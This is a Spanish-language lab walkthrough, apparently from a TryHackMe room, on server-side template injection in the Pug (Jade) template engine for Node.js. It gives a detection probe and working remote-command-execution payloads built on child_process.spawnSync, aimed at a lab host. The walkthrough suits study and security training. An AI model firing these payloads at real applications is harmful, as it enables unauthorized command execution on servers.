Pug (antes conocido como Jade) es un motor de plantillas de alto rendimiento ampliamente usado en la comunidad Node.js por su renderizado de HTML conciso y funcionalidades avanzadas como condicionales, iteraciones y herencia de plantilla. Aunque ofrece herramientas poderosas para desarrolladores, su habilidad para ejecutar código JavaScript directamente en las plantillas puede suponer un riesgo importante.

Las vulnerabilidades de seguridad de Pug principalmente salen de su capacidad de interpolar código JavaScript en variables de plantilla. Esta funcionalidad, diseñada para generar contenido dinámicamente puede ser explotada de forma maliciosa si el input del usuariose incrusta en la plantilla sin sanitizar correctamente.

Puntos Clave de Vulnerabilidades

  • Interpolación JavaScript: Pug permite incrustar JS directamente en las plantillas usando #{}. Si el input del usuario se interpola sin sanitización adecuada puede llevar a ejecución de código arbitrario.
  • Escapado por Defecto: Pug ofrece un escapado automático para ciertos inputs, convirtiendo los caracteres como <, > y & a sus entidades HTML equivalentes para evitar ataques XSS. Sin embargo este comportamiento por defecto no cubre todos los problemas de seguridad, en particular al lidiar con interpolación no escapada !{} o escenarios de input complejos.

Explotación

Antes de construir el payload es importante confirmar que la aplicación usa Pug. Ve a http://ssti.thm:8001/jade/.

Inyecta una sintaxis básica de Pug para comprobar el procesado de la plantilla, como #{7*7}. Si la aplicación responde con 49, confirma que Pug está procesando la plantilla.

NodeJS - Pug

Ya que Pug permite la interpolación de JavaScrip, podemos usar el payload #{root.process.mainModule.require('child_process').spawnSync(ls).stdout}.

Este, lo que hará será usar los módulos de Node.js para ejecutar comandos de sistema. Debajo está el análisis del payload.

  • root.process: Accede al objeto global process de Node.js en la plantilla Pug.
  • mainModule.require('child_process'): Requiere el módulo child_process de manera dinámica, bypasseando restricciones potenciales.
  • spawnSync('ls'): Ejecuta el comando ls de forma síncrona.
  • .stdout: Captura el output del comando.

NodeJS - Pug


Por qué spawnSync('ls -lah') Puede No Funcionar

Cuando intentamos usar spawnSync('ls -lah'), estamos intentando pasar el comando entero y sus argumentos como una sola string. Esto no funciona porque spawnSync no separa la string en un comando y sus argumentos. En su lugar, lo trata todo como un comando a ejecutar.

Este comportamiento es crítico para pervenir ciertos tipos de vulnerabilidades de seguridad. como la inyección de comandos.


Entendiendo el Uso de spawnSync

La función spawnSync está diseñada para ejecutar un comando en la shell y dar control detallado sobre el input y output del comando. Es parte del módulo child_process de Node.js, lo que permite a Node.js ejecutar otros procesos en el sistema donde corre.

La firma de la función para spawnSync es:

javascript
spawnSync(command, [args], [options])
  • command: Esto es una string que especifica el comando a ejecutar.
  • args: Es un array con los argumentos que pasarle al comando.
  • options: Es un parámetro opcionar para especificar opciones como el directorio de trabajo, variables de entorno, timeout, etc.

Uso Correcto de spawnSync

Para usar spawnSync correctamente para ejecutar el comando ls con el argumento .lah, deberías separar el comando y sus argumentos en partes diferentes.

javascript
const { spawnSync } = require('child_process');
const result = spawnSync('ls', ['-lah']);
console.log(result.stdout.toString());

De esta forma corregida:

  • 'ls': Es el comando.
  • ['-lah']: Es un array que contiene todos los argumentos pasados al comando.

Esta estructura asegura que el comando ls se llame con el argumento -lah, permitiendo al comando funcionar como se espera. Por lo que el payload final es:

#{root.process.mainModule.require('child_process').spawnSync('ls', ['-lah']).stdout}

NodeJS - Pug